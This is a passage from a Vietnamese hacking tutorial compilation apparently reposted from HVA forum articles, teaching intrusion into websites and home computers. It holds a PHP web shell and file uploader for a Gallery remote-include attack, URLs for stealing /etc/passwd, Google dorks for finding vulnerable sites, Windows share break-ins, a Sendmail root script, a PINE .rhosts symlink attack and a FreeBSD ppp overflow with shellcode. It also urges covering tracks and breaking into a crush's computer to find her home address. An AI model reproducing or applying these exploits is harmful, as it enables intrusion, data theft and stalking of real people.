    http://wWw.Hack.Cf Page 139 24. ) Cách hack Web cơ bản nhất thông qua CGI script : _ Lỗi thứ 1 : lỗi nph-test-cgi + Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn . + Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi + Lúc đó trên URL bạn sẽ nhìn giống như thế này : http://www.servername.com/cgi-bin/nph-test-cgi + Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp : CODE ?<tên thư mục>/* + file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau : http://www.servername.com/cgi-bin/nph-test-cgi?/etc/* _ Lỗi thứ 2 : lỗi php.cgi + Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass : http://www.servername.com/cgi-bin/php.cgi?/etc/passwd Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá : /cgi-bin/php.cgi?/etc/passwd] hoặc cgi-bin/nph-test-cgi?/etc sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé . 25 . ) Kỹ thuật xâm nhập máy tính đang online : _ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu : _ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu . _ Vào Start ==> Run gõ lệnh cmd . _ Trong cửa sổ DOS hãy đánh lệnh “net view <IP của nạn nhân>”
  • 140.
    http://wWw.Hack.Cf Page 140 CODE +VD : c:net view 203.162.30.xx _ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân><ổ share của nạn nhân> + VD : c:net use E : 203.162.30.xxC _ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 . _ Nếu máy của nạn nhân không có share thì ta đánh lệnh : net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân>c$ (hoặc d$)"administrator" + VD : net use E : 203.162.30.xxC$"administrator" Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là "administrator" . _ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh : c:netstat –n Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . ) Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy . ==================================================== Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm
  • 141.
    http://wWw.Hack.Cf Page 141 nhữngdịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào . ==================================================== Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v……. GOOKLUCK!!!!!!!!! ( Hết phần 3 ) Bài viết của ANHDENDAY Đây là phần 4 26 . ) Tìm hiểu về RPC (Remote Procedure Call) : _ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính. _Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server). Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT. 27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) : _ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này. Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply. Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .
  • 142.
    http://wWw.Hack.Cf Page 142 (Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA ) 28 . ) Những bước để hack một trang web hiện nay : _ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau : + FootPrinting : ( In dấu chân ) Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó. + Scanning : ( Quét thăm dò ) Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa. + Enumeration : ( liệt kê tìm lỗ hổng ) Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này. + Gaining Access: ( Tìm cách xâm nhập ) Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht. + Escalating Privileges : ( Leo thang đặc quyền ) Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng. + Pilfering : ( Dùng khi các file chứa pass bị sơ hở ) Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker. + Covering Tracks : ( Xoá dấu vết ) Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai. + Creating "Back Doors" : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn ) Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog… + Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ ) Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là
  • 143.
    http://wWw.Hack.Cf Page 143 trin00,Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay . _ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” . ( Tài liệu của HVA và hackervn.net ) 29 . ) Cách tìm các Website bị lỗi : _ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) . _ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau : cgi-bin/php.cgi?/etc/passwd các bạn sẽ đánh : “allinurl:cgi-bin/php.cgi?/etc/passwd” Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa . _ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá powered by <tên forum> <số phiên bản> VD sau là để tìm forum dùng Snitz 2000 : powered by Snitz 2000 _ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau "/admin hay /advadmin hay /hosting" ta hãy đánh từ khoá : allinurl:/advadmin hoặc allinurl:/admin
  • 144.
    http://wWw.Hack.Cf Page 144 hoặcallinurl:/hosting Nó sẽ liệt kê ra các trang Web có URL dạng : http://tentrangweb.com/advadmin hoặc http://tentrangweb.com/admin hoặc http://tentrangweb.com/hosting VD với forum UBB có đoạn đặc trưng "cgi-bin/ultimatebb.cgi?" Ta cũng tìm tương tự như trên . Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra . 30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ): _ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta . _ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau : CODE <?php global $PHP_SELF; echo "<html><body> <form method=post action=$PHP_SELF?$QUERY_STRING> <input type=text name=shell size=40> <input type=hidden name=act value=shell> <input type=submit value=Go name=sm> </form>"; set_magic_quotes_runtime(1); if ($act == "shell") { echo "nnnnnnnnnnnnnnnnnnnnnnnn<xmp>"; system($shell); echo "</xmp>nnnnnnnnnnnnnnnnnnnnnnnn";} echo "</body></html>"; ?> Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là : + shellphp.php : file này dùng để chạy shell trên victim host . + init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu )
  • 145.
    http://wWw.Hack.Cf Page 145 Bạnhãy tạo thêm một file PHP với mã sau : CODE <?php function handleupload() { if (is_uploaded_file($_FILES['userfile']['tmp_name'])) { $filename = $_FILES['userfile']['tmp_name']; print "$filename was uploaded successfuly"; $realname = $_FILES['userfile']['name']; print "realname is $realnamen"; print "copying file to uploads dir ".$realname; copy($_FILES['userfile']['tmp_name'],*PATH*.$realname); [B]// lưu ý *PATH* chúng ta sẽ thay đổi sau[/B] } else { echo "Possible file upload attack: filename".$_FILES['userfile']['name']."."; } } if ($act == "upload") { handleupload(); } echo "<html><body> <form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING> File:<INPUT TYPE=FILE NAME=userfile SIZE=35> <input type=hidden name=MAX_FILE_SIZE value=1000000> <input type=hidden name=act value=upload> <input type=submit value=Upload name=sm> </form> </body></html>"; ?> Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân . _ Tiếp theo Bạn vào Google, gõ "Powered by gallery" rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không : http://<tên trang Web của nạn nhân>/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/<t ên host bạn vừa đăng ký>/ Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân . Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ). Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file
  • 146.
    http://wWw.Hack.Cf Page 146 upload.phpmà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả : + Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) . + Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục . + Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là : /home/abc/xyz/Gallery/loveyou Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ). Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn : http://<tên trang Web của nạn nhân>/gallery./captionator.php?GALLERY_BASEDIR=http://wwwxx.brinkster.com/<t ên trang Host bạn đã tạo từ đầu>/ Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi . Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn . ( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net ) GOOKLUCK!!!!!!!!!!!! ( Hết phần 4 ) Bài viết của ANHDENDAY
  • 147.
    http://wWw.Hack.Cf Page 147 LấyPassword File bằng FTP (Đây là đồ cổ của HVA) Ok, cách dễ nhất để lấy superuser access là bằng anonymous ftp access vào trong trang web. Đầu tiên bạn cần biết một ít về password files... [quote] root:User:d7Bdg:1n2HG2:1127:20:Superuser TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh [/quote] Đây là 1 thí dụ của một password files mã hóa bình thường. Superuser là một trong những cách để vào root. Đây là phần chính của file: [quote] root:x:0:1:Superuser:/: ftp:x:202:102:Anonymous ftp:/u1/ftp: ftpadmin:x:203:102:ftp Administrator:/u1/ftp [/quote] Đây là 1 thí dụ khác về password file, chỉ khác một chỗ, nó được shadowed (xin lỗi, không biết dịch làm sao ). Shadowed password files không cho xem hay copy file password được mã hóa. Nó gây khó khăn cho chương trình phá password và tạo dictionary. Đây là 1 thí dụ về shadowed password file: [quote] root:x:0:1:0000-Admin(0000):/:/usr/bin/csh daemon:x:1:1:0000-Admin(0000):/: bin:x:2:2:0000-Admin(0000):/usr/bin: sys:x:3:3:0000-Admin(0000):/: adm:x:4:4:0000-Admin(0000):/var/adm: lp:x:71:8:0000-lp(0000):/usr/spool/lp: smtp:x:0:0:mail daemon user:/: uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp: nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:uid no body:/: noaccess:x:60002:60002:uid no access:/: webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false [/quote] Shadowed password files có chữ "x" trước password hoặc đôi khi là "*". Bây giờ bạn đã biết nhiều hơn một chút về password file, bạn có thể định ra phần pw
  • 148.
    http://wWw.Hack.Cf Page 148 mãhóa bình thường từ shadowed pw file. Bây giờ chúng ta sẽ nói về bẻ nó. Bẻ password cũng không quá phức tạp, mặc dù các files khác nhau đối với mỗi hệ thống. 1. Đầu tiên phải có password file bằng cách download hay copy nó. 2. Kế tiếp tìm chương trình crack password và chương trình tạo dictionary. Có thể nói gần như không thể tìm chương trình crack nhưng cũng có thể có vài cái tốt. Bạn nên dùng Cracker Jack, John the Ripper, Brute Force Cracker, hoặc Jack the Ripper. Bây giờ phải có chương trình tạo dictionary hoặc dictionary file... Khi chạy chương trình bẻ khóa sẽ hỏi bạn password file. Bạn dùng chương trình tạo dictionary để tạo. Bạn có thể tải ở hầu như tất cả các trang hacker. Chương trình tạo dictionary tất cả các cách có thể để ghép các ký tự do bạn chọn (ASCII, caps, lowercase, hoặc số). 3. Chạy chương trình crack, làm theo các hướng dẫn. Kỹ thuật PHF Kỹ thuật PHF là cách dễ nhất để lấy password files (mặc dù không hoạt động trong hơn 95% trường hợp). Để thực hiện chỉ cần nhập vào browser: [quote] http://webpage_goes_here/cgi-bin/phf?Qalia...t%20/etc/passwd [/quote] Thay thế webpage_goes_here với tên của trang. Thí dụ bạn muốn lấy pw file trong www.webpage.com thì bạn đánh: [quote] http://www.webpage.com/cgi-bin/phf?Qalias=...t%20/etc/passwd [/quote] là xong! Chỉ việc ngồi chờ và copy (nếy nó hoạt động). Telnet và khai thác điểm yếu (exploits) Tốt nhất là bạn nên có 1 account trên trang muốn tấn công (nếu có thể) và xem xét kỹ trang đó. Những lỗ hổng bảo mật hay lỗi trong hệ hống thường cho phép bạn xâm nhập vào root. Có nhiều lỗ hổng khác nhau và bạn có thể xét riêng lẻ chúng. Tôi liệt kê một số lỗ hổng. Lỗ hổng này là Sendmail v.8.8.4 Nó tạo một chương trình ở /tmp/x và có thể chạy như root. Đây là cách set up nó: [quote] cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include<stdio.h> main() { execl(RUN,RUN,NULL); }
  • 149.
    http://wWw.Hack.Cf Page 149 _EOF_ # cat<< _EOF_ >/tmp/spawnfish.c main() { execl("/usr/lib/sendmail","/tmp/smtpd",0); } _EOF_ # cat << _EOF_ >/tmp/smtpd.c main() { setuid(0); setgid(0); system("chown root /tmp/x ;chmod 4755 /tmp/x"); } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " - f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi [/quote] Và đây là một lỗ hổng khá. Tôi sẽ chỉ ra cách lợi dụng lỗ hổng PINE bằng Linux. Bằng cách xem process table bằng ps để biết user nào chạy PINE, sau đó thực hiện lệnh ls in /tmp/ để thu thập lockfile names cho mỗi user. Xem process table một lần nữa sẽ hiện ra mỗi user thoát PINE hoặc xem message trong INBOX. Tạo link từ /tmp/.hamors_lockfile tới ~hamors/.rhosts sẽ làm cho PINE tạo ~hamors/.rhosts là file dạng 666 với nội dung là PINE's process id. Bây giờ có thể dùng lệnh echo "+ +" > /tmp/.hamors_lockfile, sau đó rm /tmp/.hamors_lockfile. Thí dụ, hamors là nạn nhân và catluvr tấn công: [Quote ] hamors (21 19:04) litterbox:~> pine catluvr (6 19:06) litterbox:~> ps -aux | grep pine catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
  • 150.
    http://wWw.Hack.Cf Page 150 hamors1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4 catluvr (8 19:07) litterbox:~> ps -aux | grep pine catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4 hamors (23 19:09) litterbox:~> pine catluvr (11 19:10) litterbox:~> ps -aux | grep pine catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4 catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4 + + catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4 catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors [/quote] Tiếp theo là lỗ hổng của lỗi ppp. Lỗi này trên FreeBSD. Đây là cách set up nó: [Quote ] #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFFER_SIZE 156 /* size of the bufer to overflow */ #define OFFSET -290 /* number of bytes to jump after the start of the buffer */ long get_esp(void) { ("movl %esp,%eaxn"); } main(int argc, char *argv[]) { char *buf = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "xebx23x5ex8dx1ex89x5ex0bx31xd2x89x56x07x89x56x0f" /* 16 bytes */ "x89x56x14x88x56x19x31xc0xb0x3bx8dx4ex0bx89xcax52" /* 16
  • 151.
    http://wWw.Hack.Cf Page 151 bytes*/ "x51x53x50xebx18xe8xd8xffxffxff/bin/shx01x01x01x01" /* 20 bytes */ "x02x02x02x02x03x03x03x03x9ax04x04x04x04x07x04"; /* 15 bytes, 57 total */ int i,j; buf = malloc(4096); /* fill start of bufer with nops */ i = BUFFER_SIZE-strlen(execshell); memset(buf, 0x90, i); ptr = buf + i; /* place exploit code into the buffer */ for(i = 0; i < strlen(execshell); i++) *ptr++ = execshell; addr_ptr = (long *)ptr; for(i=0;i < (104/4); i++) *addr_ptr++ = get_esp() + OFFSET; ptr = (char *)addr_ptr; *ptr = 0; setenv("HOME", buf, 1); execl("/usr/sbin/ppp", "ppp", NULL); } [/quote] Bây giờ bạn đã vào được root. "What's next?" Tùy bạn nhưng tôi muốn khuyên bạn nên đổi password trước khi xóa hay thay đổi các thứ. Để thay đổi password bạn phải login bằng telnet và login với account mới. Sau đó chỉ cần đánh: [I]passwd nó sẽ hỏi pw cũ và pw mới. Bây giờ chỉ có bạn mới có pw và nó có thể kéo dài thời gian bạn upload, delete logs file và làm những gì bạn muốn. Rất cảm ơn sự ủng hộ của các bạn , và đây là phần 5 31 . ) Gói tin TCP/IP là gì? TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể
  • 152.
    http://wWw.Hack.Cf Page 152 viếtlại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho phép bạn làm điều này. 32 . ) Linux là gi`: _Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HĐH. Nhân là 1 phần mềm đảm trách chức vụ liên lạc giữa các chương trình ứng dụng máy tính và phần cứng. Cung cấp các chứng năng như: quản lý file, quản lý bộ nhớ ảo, các thiết bị nhập xuất nhưng ổ cứng, màn hình, bàn phím, .... Nhưng Nhân Linux chưa phải là 1 HĐH, vì thế nên Nhân Linux cần phải liên kết với những chương trình ứng dụng được viết bởi tổ chức GNU tạo lên 1 HĐH hoàn chỉnh: HĐH Linux. Đây cũng là lý do tại sao chúng ta thấy GNU/Linux khi được nhắc đến Linux. Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm này ( Nhân và Chương trình ứng dụng ) sau đó sửa chữa một số cấu hình để mang đặc trưng của công ty/ tổ chức mình và làm thêm phần cài đặt ( Installation Process ) cho bộ Linux đó, chúng ta có : Distribution. Các Distribution khác nhau ở số lượng và loại Software được đóng gói cũng như quá trình cài đặt, và các phiên bản của Nhân. 1 số Distribution lớn hiện nay của Linux là : Debian, Redhat, Mandrake, SlackWare, Suse . 33 . ) Các lệnh căn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống Linux : _ Lệnh " man" : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới lệnh nay : Cấu trúc lệnh : $ man . Ví dụ : $ man man _ Lệnh " uname ": cho ta biết các thông tin cơ bản về hệ thống Ví dụ : $uname -a ; nó sẽ đưa ra thông tin sau : Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown 